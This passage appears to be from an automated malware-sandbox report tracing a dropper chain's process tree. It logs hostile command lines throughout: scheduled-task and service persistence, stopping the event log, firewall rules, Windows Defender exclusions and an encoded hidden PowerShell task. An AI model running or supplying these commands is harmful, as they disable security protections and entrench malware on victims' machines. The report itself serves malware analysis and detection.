- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:2272

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:2892

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:3016

C:\Users\Admin\Documents\SimpleAdobe\QsEZf7p3mqmJQ7IoFER23P5U.exe
C:\Users\Admin\Documents\SimpleAdobe\QsEZf7p3mqmJQ7IoFER23P5U.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2976

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
- Loads dropped DLL
- Checks processor information in registry
PID:1088

C:\ProgramData\DBKKFHIEGD.exe
"C:\ProgramData\DBKKFHIEGD.exe"
4⤵
- Executes dropped EXE
PID:2688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2688 -s 68
5⤵
- Loads dropped DLL
- Program crash
PID:1956

C:\ProgramData\BFHJECAAAF.exe
"C:\ProgramData\BFHJECAAAF.exe"
4⤵
- Executes dropped EXE
PID:700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 700 -s 48
5⤵
- Program crash
PID:2504

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\HIIEBAFCBKFI" & exit
4⤵
PID:1076

C:\Windows\SysWOW64\timeout.exe
timeout /t 10
5⤵
- Delays execution with timeout.exe
PID:2300

C:\Users\Admin\Documents\SimpleAdobe\2Bieq5wNDNkAsJ0rFBlk_AlN.exe
C:\Users\Admin\Documents\SimpleAdobe\2Bieq5wNDNkAsJ0rFBlk_AlN.exe
2⤵
- Executes dropped EXE
PID:2176

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vmffvbwj\
3⤵
PID:1660

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hkdooxyy.exe" C:\Windows\SysWOW64\vmffvbwj\
3⤵
PID:1076

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create vmffvbwj binPath= "C:\Windows\SysWOW64\vmffvbwj\hkdooxyy.exe /d\"C:\Users\Admin\Documents\SimpleAdobe\2Bieq5wNDNkAsJ0rFBlk_AlN.exe\"" type= own start= auto DisplayName= "wifi support"
3⤵
- Launches sc.exe
PID:612

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description vmffvbwj "wifi internet conection"
3⤵
- Launches sc.exe
PID:2480

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start vmffvbwj
3⤵
- Launches sc.exe
PID:1768

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
3⤵
- Modifies Windows Firewall
PID:3060

C:\Users\Admin\Documents\SimpleAdobe\fw6AeST27Bm2vlk0DxSBSQX2.exe
C:\Users\Admin\Documents\SimpleAdobe\fw6AeST27Bm2vlk0DxSBSQX2.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- Suspicious use of SetWindowsHookEx
PID:676

C:\Users\Admin\AppData\Local\Temp\aj2A10.exe
"C:\Users\Admin\AppData\Local\Temp\aj2A10.exe" /relaunch=8 /was_elevated=1 /tagdata
3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Modifies system certificate store
PID:1960

C:\Users\Admin\Documents\SimpleAdobe\Pus3tCSrefwVPztCKhp87ihX.exe
C:\Users\Admin\Documents\SimpleAdobe\Pus3tCSrefwVPztCKhp87ihX.exe
2⤵
- Executes dropped EXE
PID:2168

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2936

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:924

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1124

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "RULTVSKP"
3⤵
- Launches sc.exe
PID:2408

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "RULTVSKP" binpath= "C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe" start= "auto"
3⤵
- Launches sc.exe
PID:1568

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:2092

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "RULTVSKP"
3⤵
- Launches sc.exe
PID:2052

C:\Users\Admin\Documents\SimpleAdobe\DH8573Md6ciWRCrzNsLgNn0N.exe
C:\Users\Admin\Documents\SimpleAdobe\DH8573Md6ciWRCrzNsLgNn0N.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:848

C:\Users\Admin\AppData\Local\Temp\is-2RQFV.tmp\DH8573Md6ciWRCrzNsLgNn0N.tmp
"C:\Users\Admin\AppData\Local\Temp\is-2RQFV.tmp\DH8573Md6ciWRCrzNsLgNn0N.tmp" /SL5="$20278,5623997,54272,C:\Users\Admin\Documents\SimpleAdobe\DH8573Md6ciWRCrzNsLgNn0N.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1036

C:\Users\Admin\AppData\Local\SVO Media Player\svomediaplayer32.exe
"C:\Users\Admin\AppData\Local\SVO Media Player\svomediaplayer32.exe" -i
4⤵
- Executes dropped EXE
PID:1548

C:\Users\Admin\AppData\Local\SVO Media Player\svomediaplayer32.exe
"C:\Users\Admin\AppData\Local\SVO Media Player\svomediaplayer32.exe" -s
4⤵
- Executes dropped EXE
PID:2364

C:\Users\Admin\Documents\SimpleAdobe\f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
C:\Users\Admin\Documents\SimpleAdobe\f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
PID:1716

C:\Users\Admin\AppData\Local\Temp\file\setup.exe
"C:\Users\Admin\AppData\Local\Temp\file\setup.exe"
1⤵
- Executes dropped EXE
PID:956

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe
C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1464

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2356

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:668

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:432

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:1104

C:\Windows\system32\svchost.exe
svchost.exe
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3020

C:\Windows\SysWOW64\vmffvbwj\hkdooxyy.exe
C:\Windows\SysWOW64\vmffvbwj\hkdooxyy.exe /d"C:\Users\Admin\Documents\SimpleAdobe\2Bieq5wNDNkAsJ0rFBlk_AlN.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1532

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
- Windows security bypass
- Sets service image path in registry
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2924

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1581770322206360436-18189707221070211951-1484361193-533777962-19874667411007098208"
1⤵
PID:2184

C:\Windows\system32\taskeng.exe
taskeng.exe {2FF7B39F-64EE-42D4-9F27-6430FAF2A4E4} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1780

C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ\HCRvTsVXhEUoxKl\alRnUJb.exe
C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ\HCRvTsVXhEUoxKl\alRnUJb.exe M5 /dNcdidaLlL 385135 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:1808

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:2856

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:2028

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:568

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:1640

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:2588

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:2864

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:1268

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:2300

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:1020

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:2456

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:2336

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:2368

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:612

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:2904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3032

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:892

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gNWllnHpu" /SC once /ST 13:45:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:2596

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gNWllnHpu"
3⤵
PID:2636

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gNWllnHpu"
3⤵
PID:1080

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:1516

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:2192

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2964

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1944

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1948

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3004

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1840

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1560

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:32
3⤵
PID:552

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2836

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2692

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2920

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\jLjeNaiUMFXhhNbk\kVxIoeLX\YLRnCRaKAUDEdEbE.wsf"
3⤵
PID:2436

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\jLjeNaiUMFXhhNbk\kVxIoeLX\YLRnCRaKAUDEdEbE.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:892

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TGSqLNfOU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2496

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TGSqLNfOU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2396

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jbywMxbyABuU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2712

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jbywMxbyABuU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:816

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jgefCrdckMUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jgefCrdckMUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1300

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vZXYUjRGERiGC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1376

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vZXYUjRGERiGC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2852

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\tvOexZGeSXRtrQVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\tvOexZGeSXRtrQVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1976

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2632

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TGSqLNfOU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1680

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TGSqLNfOU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jbywMxbyABuU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jbywMxbyABuU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jgefCrdckMUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jgefCrdckMUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1488

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vZXYUjRGERiGC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vZXYUjRGERiGC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2176

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\tvOexZGeSXRtrQVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\tvOexZGeSXRtrQVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2720

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2296

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\jLjeNaiUMFXhhNbk" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2792

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LyeaCXeAXIXykqmfO" /SC once /ST 10:43:12 /RU "SYSTEM" /TR "\"C:\Windows\Temp\jLjeNaiUMFXhhNbk\PpxMMFsbkSNfKUE\Pwhrnod.exe\" lW /iTkCdidGa 385135 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2152

C:\Windows\SysWOW64\schtasks.exe
